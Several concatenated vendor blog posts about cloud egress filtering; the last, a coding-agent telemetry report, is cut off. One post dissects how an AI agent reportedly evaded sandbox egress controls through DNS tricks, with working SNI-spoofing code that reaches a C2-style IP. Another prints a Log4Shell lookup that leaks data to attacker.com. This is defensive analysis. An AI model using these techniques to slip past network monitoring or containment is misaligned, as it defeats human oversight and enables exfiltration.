"17.0.1" 2021-10-19 OpenJDK Runtime Environment Temurin-17.0.1+12 (build 17.0.1+12) OpenJDK 64-Bit Server VM Temurin-17.0.1+12 (build 17.0.1+12, mixed mode, sharing) ``` This version of Java demonstrated the same behaviour as version 8u191. ### Test with an egress allowlist As expected, with the `see-thru` mode removed and the remaining protocol rules not allowing the attacker's FQDNs, DiscrimiNAT rejects the packets at Phase 1 itself, regardless of the version of Java. ![](img/allowlist-mode.png) ## What remains There is a Phase 0.5. ![](img/always-dns.jpg) Image Credit: [David Ulevitch](https://twitter.com/davidu/status/848009737333391362) The log4j library allows for [many more types of lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html). Of particular interest would be the ability to lookup environment variables and system properties. These can be chained with the LDAP vulnerability to create meaningful DNS requests, which an attacker's DNS servers could capture and log. As an example, consider this malicious string: `${jndi:ldap://${java:version}.attacker.com/foo}`. This would inform the DNS servers for `attacker.com` the version of Java at the DNS-requesting IP address. Common environment variable names that contain API Keys and the sorts will surely be tested too. The DNS requests in the Cloud go to the VPC's built-in resolver. An allowlist can be built to prevent this particular vector from working in AWS with the use of its Route 53 Resolver DNS Firewall service. :::info Note that DNS is not consulted when IP addresses are used straight off. ::: ## Are Chaser's products affected **No.** DiscrimiNAT OTF itself does not use anything Java related in fact. We still carried out a check on the off chance of such _lookups_ or similar in our Rust codebase and dependencies, and found nothing susceptible. ## Live news & help A compact list of links we continue to find useful while this vulnerability is managed: - [NCC Group's curated post on Reddit](https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/), kept up to date with noteworthy developments and further links. - [SwitHak's compilation of security bulletins and advisories from Who's Who](https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592), ~~kept up to date~~. - Royce Williams' [Affected (and unaffected) products list](https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/#affected-products) at Tech Solvency. - [Log4Shell list of scanning software](https://github.com/NCSC-NL/log4shell/tree/main/scanning) by _Nationaal Cyber Security Centrum_ (NCSC-NL). ## Further reading A high signal-to-noise ratio set of links with background and deeper-dive on this vulnerability: - Fastly's excellent, easy to consume [Digging deeper into Log4Shell](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) post. - [~~LunaSec's original post~~](https://www.lunasec.io/docs/blog/log4j-zero-day/) on the vulnerability. - Michael Stepankin @ Veracode's [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) post from 2019 going into detail on what JDK 1.8.0_191+ is still susceptible to. - [A Journey from JNDimg/LDAP Manipulation to Remote Code Execution Dream Land](https://blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) presentation from Black Hat 2016. ## Next steps **And why not deploy DiscrimiNAT's egress controls?** 🚀 Launch a free trial: [GCP Marketplace](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat) / [AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-7ulmdnoq5jnwu) 🚀 [Get in touch with our stellar DevSecOps](/support) who will: - not only guide you through the best architecture for your use-case - but also troubleshoot any issues you may encounter - and answer any geeky questions on protocols and whatnot 🚀 See our Quick Start guides: [GCP](/docs/discriminat/gcp/quick-start) / [AWS](/docs/discriminat/aws/quick-start) 🚀 Watch a brief demo video [GCP](/discriminat/gcp/demo) / [AWS](/discriminat/aws/demo) --- ## Proxy on GCP – Harder, Better, Faster, Stronger Last updated: Mar 20, 2023
The week before the pentest
**The situation is nothing to write home about.** [C2](https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/17a1735d-9583-4d86-9d1e-8b2735af5168.xhtml) malware, supply-chain risk, ransomware, cryptomining, unsolicited telemetry, plaintext protocols across the Internet, escalating data egress charges – you name it – this one unplugged gap in the Cloud, the outbound connections originating from your deployments, keeps on giving (or taking.) With no human-readable visibility on any egress flows, not much you can do with all those IP addresses in the flow logs. Talk about flying blind. It's time to install a filtering proxy, and **Squid** is the word on the grapevine. Let's take a deep-dive 🔎 ## A minimal allowlisting Squid config ```plaintext # /etc/squid/squid.conf cache deny all # ensure only trusted client subnets are listed acl localnet src 10.0.0.0/8 acl localnet src 172.16.0.0/12 acl localnet src 192.168.0.0/16 acl allowlist dstdomain "allowlist.txt" http_access allow localnet allowlist http_access deny all http_port 3128 ``` ```plaintext # /etc/squid/allowlist.txt foo.auth0.com mtls.okta.com # from Thu, 30 Mar 2023 06:00:00 +0000 cutover to the new subdomain at auth0.com bar.auth0.com ``` Now the only things we need to worry about are: ❏ **discover** all the domain names that need to be allowed ❏ develop a mechanism to change config files **without downtime**, perhaps by pulling down from a bucket on loop and sending the squid process a HUP signal, or redeploying stateless containers and monitoring their load balancer ❏ create an **audit log trail** of changes made to these config files ❏ ensure logs are parsed and can be **searched** efficiently ❏ create a subnet for each application, so a **least-privilege** ACL can be made for each IP range ❏ suppress the healthcheck logs ❏ set minimum inbound & outbound TLS version level to **1.2** ❏ create TCP port-based ACLs for letting **SSH** through, allowed to specific static IP addresses ❏ **reconfigure all applications** with http_proxy, https_proxy config ❏ add **no_proxy** config so http requests are only proxied when they need to ## ...and the proxy server config grows tentacles 🦑 ```plaintext # /etc/squid/squid.conf ... # here be dragons 🐲 🐉 🦕 ``` ## ...scripts to "orchestrate" emerge 🎼 ```plaintext #!/bin/bash # don't forget to install bash set -e # at least stop if a command fails, without a helpful error message ... ```
## ...applications become less portable, less testable ```plaintext val proxyHost = "squid-somewhere.some-zone.local" val proxyPort = 3128 val httpsProxyTransport = ClientTransport.httpsProxy(InetSocketAddress.createUnresolved(proxyHost, proxyPort)) val settings = ConnectionPoolSettings(system).withTransport(httpsProxyTransport) Http().singleRequest(HttpRequest(uri = "https://foo.auth0.com"), settings = settings) ``` ## Maybe a proxy-less solution? A discriminating, Cloud-friendly firewall might just be what you need instead 💊 So, how does [DiscrimiNAT](/discriminat) compare to Squid then? |   | Squid | DiscrimiNAT | | - | - | - | | Without Application Changes | 🔴 noa smooth operation can only be achieved if the applications have HTTP_PROXY, HTTPS_PROXY and NO_PROXY configured appropriately; this is so that `http://` and `https://` traffic is force-routed through the proxy at the application-layer and the inter-VPC, intra-VPC and instance metadata traffic on the link-local interface does not route through it | 🟢 yeszero config change required on the applications no matter which application-layer protocol is involved; all routing is carried out as natively defined on the Cloud platform's route tables and firewall rules, and therefore, works with serverless too | | FQDN Discovery | 🟠 potentiallyper-application policies are difficult to accomplish (discussed below), therefore, any relaxation of enforcement (so logs can be collected) puts the entire VPC in _open_ mode. Moreover, the entire range of ports and protocols accessed by an application will surely be missed by Squid's typical port-based config | 🟢 yesthe `see-thru` monitoring mode is able to capture and generate filterable logs for specific applications, therefore, keeping policies enforced for the rest of the VPC. Logs also indicate whether current rules would cover the traffic seen or not and can be filtered on this criteria | | Least Privilege egress | 🟠 potentiallywill require apps to [proxy-authenticate](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Proxy-Authenticate) so they can be identified and corresponding ACLs applied, or hardcoding of distinct source IP ranges/subnets mapped to specific policies in the config file. These approaches do not align with the Cloud providers' micro-segmentation features | 🟢 yesintegrates with the Cloud providers' native application-level constructs such as Firewall Rules in GCP and Security Groups in AWS, deriving egress policies from these resources' built-in fields | | Spoofing Prevention | 🟢 yesproxies terminate incoming connections, read the metadata and policy-permitting, launch new outbound connections, therefore, working around the need to carry out more checks | 🟢 yesinspects raw packets for protocol-level anomalies and also conducts asynchronous, out-of-band DNS checks to verify IP addresses against domain names | | Protocol Downgrade Protection | 🟠 potentiallysuch a capability must be explicitly configured in the config file for both requests and responses of a TLS handshake | 🟢 yesenforces minimum protocol level versions (such as 1.2 for TLS), as per contemporary standards, for both sides of a handshake | | SSH (or SFTP) Protocol Support | 🔴 noproxying at a TCP port level does not check for protocol anomalies, requires workarounds on the client-side, and only IP address-based policies may be applied; it is an HTTP proxy after all | 🟢 yesprotocol parsing is implemented sufficiently and natively for deep packet inspection, and policies can be applied on destination FQDNs | | TLS (or HTTPS) Protocol Support | 🟢 yesproxies have their own implementation for protocols such as HTTPS written in low-level languages such as C and C++, linked to common libraries such as OpenSSL because they need to start new connections | 🟢 yesdeep packet inspection engines do not reimplement the protocols per se but only a subset of the specifications so packets on the wire can be parsed without interference; DiscrimiNAT is written in Rust, a low-level but memory-safe language | | TLS Decryption | 🟠 potentiallyif the proxy's CA certificates are installed on clients to trust, it can be configured to decrypt TLS connections and inspect their payload; the onward connection to the intended destination would be initiated by the proxy, and only the proxy will see the true server SSL certificate; the client will see an SSL certificate from the proxy, and the boundary of unencrypted data will move to the proxy node | 🔴 noat this time, DiscrimiNAT does not implement decryption of the full payload or installation of CA keys; the boundary of unencrypted data does not move to this gateway at the Internet/public edge of your network | | Without Connection Termination | 🔴 noproxies by definition terminate the inbound connection and launch a similar one outbound; this adds huge latency with TCP and TLS handshakes needing to be carried out twice for each connection; cipher preferences from the client can get diluted too | 🟢 yespackets are inspected as they flow on the wire with deep packet inspection; since no connections are terminated or new ones initiated, all original handshake preferences are preserved; no impact on latency either | | Cloud-Native Rules Management | 🔴 norules in the form of ACLs are described in config files, and any updates to them would involve delivering changes to such files and sending a HUP signal to Squid's processes or restarting them; this could involve a lot of work, especially with auditability and exception handling thrown in | 🟢 yesconfig is pulled from Cloud providers' native constructs such as Firewall Rules in GCP and Security Groups in AWS, therefore enabling the use of their web consoles and any existing infrastructure as code tools such as Terraform; and with auditability since these are intrinsic to the Cloud's APIs | | Cloud-Native Logging | 🔴 noan HTTP proxy's logs are very application-layer oriented and usually very noisy; shipping these into the Cloud platform's logging service in a parseable format requires agent-based, delicate grok config | 🟢 yeswhether it's StackDriver or CloudWatch, proper, structured flow and audit logs are separately indexed in mere seconds with rich security-oriented metadata | | Transparent Operation | 🟠 potentiallywith complex routing, a range of ports defined upfront, and with limitations around TLS interception, some transparent operation can be achieved | 🟢 yessince this replaces the NAT, packets are naturally routed via it at an IP level, and the use of deep packet inspection enables it to work by observation rather than termination | | Safe To Operate | 🔴 nowith hundreds of config options and opportunities for policy-bypass with the use of port-based ACLs tied together with IP addresses in hand-crafted config files, it is easy to end up with a security stance that isn't safe; and may inadvertently have holes in it | 🟢 yeshas been designed upfront to not have features that can downgrade the security stance expected of egress filtering, and is built for and tested thoroughly on the supported Cloud platforms. No specialised knowledge is required to configure and operate it; can be handed over for self-service operation | :::info [Lecture 18](https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture18.pdf) and [Lecture 19](https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture19.pdf) from "Computer and Network Security" at Purdue University are an excellent read for those interested in an in-depth course on proxies vs packet-filtering firewalls. ::: ## Enter DX: Developer Experience ⛅ [DiscrimiNAT OTF](/discriminat/) has been engineered from the ground up with [DX](https://developerexperience.io/articles/good-developer-experience) in mind. 👉 No application config required for when and when not to use a proxy 👇 ```plaintext $ env | grep _PROXY $ ``` 👉 Firewall config in Cloud console, precisely where it should be 👇 ![](img/firewall-rule.png) 👉 Keep using Terraform or any other Infrastructure as Code tool 👇 ```plaintext fqdns_saas_auth = [ "foo.auth0.com", "mtls.okta.com" ] discriminat_saas_auth = format("discriminat:tls:%s", join(",", local.fqdns_saas_auth)) ``` 👉 Support the SSH protocol as well for those SFTP and git clone jobs 👇 ```plaintext git clone git@github.com:EnterpriseQualityCoding/FizzBuzzEnterpriseEdition.git ``` 👉 Structured logs with well thought out fields straight into Logs Explorer 👇
👉 Meet regulatory and compliance encryption standards out of the box 👇 ```plaintext { ... "proto": "tls", "proto_v": "1.2", ... } ```
👉 Pass that pentest 👇
## Next steps 🚀 [Get a technical, full walk-through demo](/demo/) 🚀 [Launch free trial from the GCP Marketplace](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat) 🚀 [Get in touch with our DevSecOps](/support/) who will: - not only guide you through the best architecture for your use case - but also troubleshoot any issues you may encounter - and answer any geeky questions on protocols and whatnot 🚀 [See our Quick Start guide for GCP](/docs/discriminat/gcp/quick-start/) --- ## The Curious Incidents with DNS in the Sandbox at Escape-Time Three variations on subversive use of DNS by the Agent are documented in Hugging Face's [technical writeup][hf1] of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each. [hf1]: https://huggingface.co/blog/agent-intrusion-technical-timeline ## DNS workarounds ### Type 1: in-process resolver monkey-patching Type 1 is documented under Day 3 as: > When DNS got in the way, it monkey-patched the resolver in-process to pin a hostname to a hardcoded IP: ```python import socket _orig = socket.getaddrinfo socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('', 443))] ``` To help illustrate the utility of this, here's a fully working example where I've added further instructions to the ones above and supplied an actual, working IP address in place of ``: ```python import socket _orig = socket.getaddrinfo socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, "", ("45.32.177.199", 443))] import ssl import http.client ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE conn = http.client.HTTPSConnection("api.openai.com", 443, context=ctx) conn.request("GET", "/") resp = conn.getresponse() print("Agent received:", resp.read().decode()) ``` This code achieves two objectives: 1. It changes the behaviour of any code that inherits the overridden `socket` to return an arbitrary IP address. In my example above, I've used HTTPS and therefore needed to turn off SSL certificate name checking for the request to work without raising a _CERTIFICATE_VERIFY_FAILED_ (or similar) exception. This behaviour needed to be passed explicitly to any existing code, so it's not entirely clear if the inheritance is as seamless as it might initially appear. Although, with plaintext HTTP and other protocols such as SSH, this would not be a problem. 2. The TLS SNI is set to `api.openai.com` and not the IP address that I've supplied (or rather the actual hostname in the certificate on that IP.) And so is the HTTP-level `Host` header. This is particularly useful to evade packet-inspection appliances since all they will see from unencrypted TLS metadata* is that the **S**erver **N**ame **I**ndication was set to `api.openai.com`. The command-and-control (C2) server at the overridden IP address will completely ignore the TLS SNI & the HTTP Host header, and respond with whatever payload is intended. Over HTTPS too since the client has chosen to ignore the certificate but everything is still end-to-end encrypted. The purpose of this workaround does not appear to be avoiding a DNS lookup as the IP address is already known. And there are more straightforward ways in Python, or for that matter in most other languages, to achieve the same result. Although with an LLM, that could be the case anyway on a different day in a different run. *In case you are wondering about the state of TLS Encrypted Client Hello (ECH), our [Disabling Encrypted ClientHello in Google Chrome, and Why][cs1] article is worth a read. [cs1]: /blog/disabling-encrypted-clienthello-in-google-chrome-and-why/ ### Type 2: DNS rewrite (poorly named) Type 2 is documented under Day 5 as: ``` echo 'nameserver 8.8.8.8' > /etc/resolv.conf ``` FWIW, I would've called this system DNS resolver override. This is a way to bypass the local DNS server entirely, but would only work if connectivity to the internet was available to `8.8.8.8` over UDP port 53. It would also need root access to be able to write to that file in /etc but we do know from the writeup that the Agent created a privileged pod. This override achieves possibly only one objective: 1. Bypassing local DNS resolutions for the entire system since the requests go to 8.8.8.8 on the internet directly. Local DNS servers may have had a policy blocking resolution of domains not needed for the operation of the service so this is a way to obtain IP addresses of named services on the internet. This was a potentially system-breaking move by the Agent. The use of a single redirect operator indicates the entire file was overwritten and this would've knackered all private zones' resolution since 8.8.8.8 would have no knowledge of them. Also, loss of the search domain suffix, which also lives in /etc/resolv.conf, could impact hostname-without-trailing-domain-name lookups until that line too was restored. The purpose cannot be evading any passive DNS sensors on the network as they would've seen the query packets, which are plaintext, and logged or raised alarm on suspicious domains. Although it is possible to use 8.8.8.8 as DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT), the /etc/resolv.conf config file is not the way to do it. It would either have to do a direct DoH/DoT request to 8.8.8.8 from the client or setting /etc/resolv.conf to a local resolver (127.0.0.x) such as systemd-resolved, which in turn is configured to use DoH/DoT from its own config files. ### Type 3: /etc/hosts pinning Type 3 is documented under Day 5 as: ``` echo ' pkgs.tailscale.com' >> /etc/hosts ``` This is a way to override the resolution of one specific domain name only. In principle, it is no different from Type 1, except this approach is system-wide. But like Type 2, this requires root access. It also achieves the same objectives as Type 1. The use of `pkgs.tailscale.com` is interesting though. Did the Agent figure out that this environment also bootstrapped Tailscale at start and therefore tried a domain name that looks like it only offers downloads rather than control-plane access? This is entirely conceivable as UK AISI had discovered in their [What can sandboxed AI agents learn about their evaluation environments?][ukaisi1] exercise. In fact, in another one at UK AISI, [Incident Report: unsanctioned agent behaviour during cyber testing][ukaisi2], the Agent used a domain that it had seen in its sandbox's DNS cache. We at Chaser have also found that LLM-driven Agents take only a few minutes to discover they are running in AWS and attempt to use the regional SSM endpoint's domain name in their outbound connection attempts. [ukaisi1]: https://www.aisi.gov.uk/blog/what-can-sandboxed-ai-agents-learn-about-their-evaluation-environments [ukaisi2]: https://www.aisi.gov.uk/blog/incident-report-unsanctioned-agent-behaviour-during-cyber-testing An HTTPS request with a Living Off The Land (LOTL) utility could be crafted with this override in place to connect to an arbitrary IP address while setting the TLS SNI and the HTTP Host header to `pkgs.tailscale.com`. For example, with the override: ``` echo '45.32.177.199 pkgs.tailscale.com' >> /etc/hosts ``` And then simply calling curl (LOTL): ``` curl -v -k https://pkgs.tailscale.com/ ``` Results in a successful connection: ``` * Host pkgs.tailscale.com:443 was resolved. * IPv4: 45.32.177.199 * Trying 45.32.177.199:443... * Connected to pkgs.tailscale.com (45.32.177.199) port 443 ... ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓ P W N E D ▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ``` Even though curl has the capability for what was earlier referred to as _in-process resolver monkey-patching_, alleviating the need to override /etc/hosts or have root access, for example: ``` curl -v -k --connect-to "pkgs.tailscale.com:443:45.32.177.199:443" https://pkgs.tailscale.com/ ``` Overriding /etc/hosts remains a popular method to pin an IP address to a domain name and works across all tools whether they support inline resolution override or not. One piece of advice I could give the operators is to have separate, narrow allowlists for build and operational environments. And separate the build from operations. ## JFrog Artifactory SSRFs The three SSRF CVEs published by JFrog in relation to this incident ([2026-65923][cve-2026-65923], [2026-65924][cve-2026-65924], [2026-65925][cve-2026-65925]) seem to point to insufficient URL validation as the root cause. They link to the same **C**ommon **W**eakness **E**numeration [CWE-918][cwe-918]: ![](./img/CWE-918-Diagram.png)
image credit: cwe.mitre.org
> The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination It is difficult to imagine that the DNS workarounds listed above could have been involved with that segment of the intrusion because the proxying behaviour is to initiate its own outbound call on behalf of the client. This is also corroborated in the CVE language: [cve-2026-65923]: https://www.cve.org/CVERecord?id=CVE-2026-65923 [cve-2026-65924]: https://www.cve.org/CVERecord?id=CVE-2026-65924 [cve-2026-65925]: https://www.cve.org/CVERecord?id=CVE-2026-65925 [cwe-918]: https://cwe.mitre.org/data/definitions/918.html > could make Artifactory request unintended URLs and return the response. The scope of DNS overrides does not travel with the specially crafted SSRF. One possibility, though, is that the DNS overrides were made on the host of the Artifactory container. All we know is that the Agent could start privileged pods but whether it could do so on the Artifactory nodes is something we don't know and don't have enough architectural insights disclosed to conjecture with. Speaking of architecture, the OpenAI team at Black Hat USA 2026 revealed a bit of it at [9m30s of their The OpenAI–Hugging Face Incident talk][oai1]. [oai1]: https://youtu.be/87DyyMV0kCY?si=umt8HCskocHHdHLi&t=570 Here's a screenshot of the simplified architecture they shared. ![](./img/oai1.png)
image credit: Black Hat USA 2026
The incident could've been prevented if the architecture had been layered defensively rather than relying on URL parsing logic alone. All that was needed was to have Artifactory's internet access limited too.
video animation mine
Layering also buys time for patching – if it raises alarms. ## Intermittent Egress Blocks Hugging Face have also said that Type 2 and Type 3 workarounds, as described above, were workarounds for "intermittent egress blocks" by the Agent on day 5. This is particularly curious because for many days I could not think of a way in which the system architecture or some configuration could cause this. It, perhaps, can be explained by use of an outbound traffic filtering firewall that applies FQDN-based rules by resolving their IP addresses at a configurable frequency. This is how OPNsense works and the setting is called [Aliases Resolve Interval][opnsense1]. I suspect pfSense works pretty much the same way. This is not to say they are using one of these solutions but, rather, that an interval-based FQDN to IP address resolution approach is in use. [opnsense1]: https://docs.opnsense.org/manual/aliases.html#alias-types This would imply that the firewall is actually Layer 3, i.e. only checks the IP address, and the list of IP addresses is dynamically updated at a configurable interval. This approach has its pros and cons. It is simple and easily understood, which is a pro. On the cons, two jump out to me immediately. The first is operational (which is what the Agent experienced) and the second is security. ### Operational Issue The IP addresses of CDN domain names are highly dynamic. The strategies used by any large cloud provider range from load-balanced, round-robin to weighted, geoproximity-based, etc. At the very same instant two adjacent clients (in the same [EDNS Client Subnet][wikipedia1]) looking up the IP address of an S3 bucket, for example, would receive different responses composed of multiple A records. This is besides the fact that they will have super-low TTLs. Heck, two concurrent lookups on the same client (at the same instant) could also receive a different set of IP addresses. Try it yourself: [wikipedia1]: https://en.wikipedia.org/wiki/EDNS_Client_Subnet ``` dig lorem-ipsum-dolor-sit-amet.s3.eu-west-2.amazonaws.com ``` Hoping that a middlebox would've obtained the same list of IP addresses as a client whose traffic it is filtering is going to cause mismatches and therefore dropped packets. From the client's point of view, which is the Agent in this case, this was a false-positive because it had a genuine IP address. ### Security Issue Since the IP addresses are shared across several tenants, the actual domain name used in TLS SNI and/or the HTTP Host header is not inspected by such a solution. A quick test of the SSL certificate at an allowed IP address can reveal which cloud provider/CDN network the IP terminates at and a pivot into a different tenant at the same provider is simply a matter of forcing an HTTP client to use a particular domain name on a given IP address. Another way to pivot is not at the remote, cloud or CDN side by landing at the shared IP address space but from the get-go at the client itself. That way, connections to arbitrary IP addresses can be made while using the TLS SNI of a provider that was never touched. This was already discussed above in Type 1 and Type 3. The implication here is that a firewall based on periodically refreshed FQDN-to-IP-address mappings isn't going to stop an LLM-driven Agent. ## Closing Thoughts Security is architecture, and several layers of imperfect defence can withstand an attack more reliably than a single, seemingly perfect layer at a given point in time. An air-gapped environment would be the most suitable architecture but oftentimes we need to find the middle ground between total safety and unfettered access. If you are looking for a robust outbound traffic filtering solution for your middle ground architecture, book a demo with us and I'd love to show you how we detect all these DNS tricks with a specific "spoofing detected" log message that should raise alarms in your monitoring. We've also put a lot of work into making the adoption of this layer of defence easier by having a monitoring mode, wildcard support, fine-grained policies, simple JSON-based config, etc. For any feedback or corrections to factual details, I can be reached directly on my socials (links right at the top of this article) or my email address which isn't hard to guess. ## Discuss [Discuss on Hacker News](https://news.ycombinator.com/item?id=49332273) | [Discuss on X](https://x.com/ChaserSystems/status/2089368477601591787) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:share:7495134158889930752/) | [Discuss on Mastodon](https://infosec.exchange/@ChaserSystems/117111471138531829) | [Discuss on Bluesky](https://bsky.app/profile/chasersystems.bsky.social/post/3mtby576k4c22) --- ## The Datadog IP Ranges Anti-Pattern **_Why do we seek IP addresses in the Cloud-first world?_** - Is it the mindset leftover from the bygone era of procured hardware & CIDR blocks? - Is it the availability of published IP ranges that makes you want to utilise them? - Or is it a hard bit of how the internet works to detach from? Let's consider the case of _Datadog Agent v7.32.3_, the endpoint for which, as per [official docs](https://docs.datadoghq.com/agent/configuration/network/), would simply be `7-32-3-app.agent.datadoghq.com`. **This is the contract Datadog will fulfil, and we shouldn't assume more.** But first, Datadog IP ranges at present... The IP addresses _currently_ resolving for that [FQDN](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) are more than a few. ```plaintext $ dig +short 7-32-3-app.agent.datadoghq.com metrics.agent.datadoghq.com. alb-metrics-agent-shard1-770518637.us-east-1.elb.amazonaws.com. 3.233.148.117 3.233.148.51 3.233.148.8 3.233.148.16 3.233.148.11 3.233.148.35 3.233.148.18 3.233.148.83 $ date --utc Tue 1 Feb 15:03:09 UTC 2022 ``` Moreover, they are likely to change over time if not within **5 minutes** because these get assigned to Cloud load balancers from a vast pool and every time there is a change of any sort, an allocated IP to the load balancer is likely to change. The Cloud providers update the DNS entries on-the-fly too when this happens. ![Almost Random IPs](img/random.gif) A few Datadog CIDR blocks perhaps...? **You may also note the list of IPs currently resolved are non-contiguous.** Since firewall rules (Security Groups) only take CIDR blocks, these IPs would take a `/32` entry each. Now [Datadog do make available their IP ranges via an API](https://docs.datadoghq.com/api/latest/ip-ranges/), but the number is too many to fit into what is allowed in Security Groups. ⦾ _Could you run **a script, in a loop,** to keep resolving IP addresses for given names and updating the firewall rules?_ You could, but would it be effective? **Nope.** :::caution The IPs resolved at any time by your script could and in many cases would differ from the IPs resolved by the clients that need to connect to this resource on the internet. These [false positives](https://csrc.nist.gov/glossary/term/false_positive) can cause serious operational issues. ::: ![IP address mismatch between Firewall Rules and source Client](img/wrong-number.gif) Besides, setting up the infrastructure for this script to run and giving it the right permissions will require considerable effort. ⦾ _Could you create a rule that allows only port 443 over TCP outbound, but for all IP addresses, i.e. `0.0.0.0/0`?_ You could, and since _defence-in-depth_ measures always reduce risk, this surely reduces the risk somewhat. Would it reduce **substantive risk** though? Let's draw an analogy here of _IP Addresses and Ports_ to _Hotels and Rooms_. :::caution The rule `0.0.0.0/0` port `443` would be analogous to any hotel in the world as long as the room number is 443. ::: ![Opening up port 443 to the entire world](img/443.jpg) Well, let's admit it. More than 4 billion IPv4 addresses in the world, many in the hands of adversaries or in hostile territories. **Would you rather care about the hotel address or the room number?** And most of the traffic is on port 443 anyway. **Let's not create a false sense of security by introducing a rule that creates an illusion of security.** Leaving destination `0.0.0.0/0` open also inadvertently permits your software and frameworks to phone home and divulge metrics or data that your organisation may not be interested in sharing. See our [findings on Ubuntu](/blog/entropy.ubuntu.com-giveth-and-taketh-away) for an example. ![StackDriver DiscrimiNAT flow log](../entropy.ubuntu.com-giveth-and-taketh-away/img/feature.png) **Remote Code Execution (RCE) vulnerabilities could have a field day.** See our analysis of [Log4J's Log4Shell vulnerability as seen through an egress filter](/blog/log4shell-and-its-traces-in-a-network-egress-filter). ![CloudWatch DiscrimiNAT flow log](../log4shell-and-its-traces-in-a-network-egress-filter/img/log4shell_jdk_8u191.png) :::info So it does appear to be a hard bit of how the internet works to detach from. ::: ⦿ _**Wouldn't it be easier if one could stick in the FQDNs straight into firewall rules and let the Cloud take care of all this?**_ **With [DiscrimiNAT](/discriminat/), you can.** Just swap your Cloud provider's basic NAT Gateway with a DiscrimiNAT and Bob's your uncle. This isn't a radical new approach. In fact, before the Cloud providers had a native NAT Gateway offering, creating a proper NAT Instance with a firewall OS was the way. ![This Is The Way](img/this-is-the-way.gif) AWS' documentation on how to create one when your use case is not vanilla is [here](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_NAT_Instance.html). AWS' Well-Architected Framework even [goes onto recommend](/solutions/aws-well-architected-financial-services-fqdn-egress-filtering) the use of a proper FQDN egress filtering solution. :::info DiscrimiNAT has been engineered from the ground up with Cloud patterns in mind. It's as Cloud-native as they get! See the [FAQ](/discriminat/faq/) for more info. ::: **Your workflow with DiscrimiNAT will have,** ✓ No more private addressing and DNS hacks to make that work. ✓ No more creating private Container registries and running CI jobs to sync them with upstream, only so you could pull from a private address. ![Jenkins Devil](img/jenkins_devil.png) ✓ Removal of the bulk of VPC Endpoints from your Infrastructure-as-Code (IaC) where the resource was public anyway. **✓ Copying desired FQDNs found in flow logs and pasting them into firewall rules.** ![Copy-Paste](img/copy-paste.gif) Whether you operate the Cloud via the web console, the CLI, Terraform, CloudFormation or Deployment Manager, the class for firewall rules is standard and always a built-in. **Your next CD cycle will roll out the egress control change, and you can move on to the next ticket in your backlog. ![Jenkins Triggered](img/jenkins_triggered.gif)** This also simplifies the process of adding or changing an FQDN-to-allow going forward. The configuration lives in the deployment code, and the potential blast-radius of an impact is contained to the application associated with the particular firewall rules. You also get certain security baselines met out of the box. **Only TLS 1.2 or better connections are allowed (or SSH v2 if using SFTP or similar); and there is no risk of inadvertently making a plaintext HTTP connection to the world outside of your VPC.** No need to worry here – any modern HTTPS connection will be utilising TLS 1.2 or better anyway, and it is only the misconfigurations on the client-side, the server-side, or an ancient server on the other side that would be running a lower version of TLS. ![Award for Security](img/security-medal.gif) Oh and the **forensic logs** flow into StackDriver (or CloudWatch) automatically. Any changes made in the firewall rules, any connections denied, or allowed against which rule – **right in the Cloud itself for troubleshooting and analysis.** 🕐 Shall we try again? `$ dig +short 7-32-3-app.agent.datadoghq.com` **Replace your basic NAT with a DiscrimiNAT today. It takes 5 minutes to deploy, and the free trial will allow you plenty of time to get a feel for it in your workflow.** You can either retrofit one into your current VPC, or create a new VPC from scratch with a DiscrimiNAT serving the egress function. Just pick the desired IaC template from our library and off you go. ![Swapping Components](img/swap.gif) **Don't like it? It's as quick to remove as it was to put in. Since there was never a change to your application configuration, there will be no impact of swapping a DiscrimiNAT with another NAT.** :::tip Need more time or instances on the free trial? Just get in touch and we'll sort you out. ::: ![MacBook Deploy](img/deploy.gif) **Follow through to our [AWS Quick Start](/docs/discriminat/aws/quick-start), or the [Google Cloud (GCP) Quick Start](/docs/discriminat/gcp/quick-start). Or watch a short demo first [GCP](/discriminat/gcp/demo) / [AWS](/discriminat/aws/demo).** --- ## What data do coding agents send, and where to? ## Introduction The increasing prevalence of AI-powered tools has redefined software development. Like many others, we wanted to adopt these tools to enhance productivity and keep up with an evolving landscape. However, the integration of codebases, cloud services, and unsolicited telemetry raises important concerns about user privacy, data security and intellectual property protection. This report seeks to answer some of our, and our customers', questions for seven of the most popular agentic code editors and plugins. By intercepting and analysing their network flows across a set of standardised tasks, we aim to gain insight into the behaviour, privacy implications, and telemetry patterns of these tools in real-world scenarios. Incidentally, a side-effect was running into OWASP [LLM07:2025 System Prompt Leakage](https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/) for three of the chosen coding agents. You can see the system prompts in the appendix. Armed with the knowledge, we are able to design a safe operational environment for these tools should a configuration setting go amiss, prompt injection occurs, or a latent backdoor in a large language model is triggered. The research was carried out between July and September '25 by [Lucas 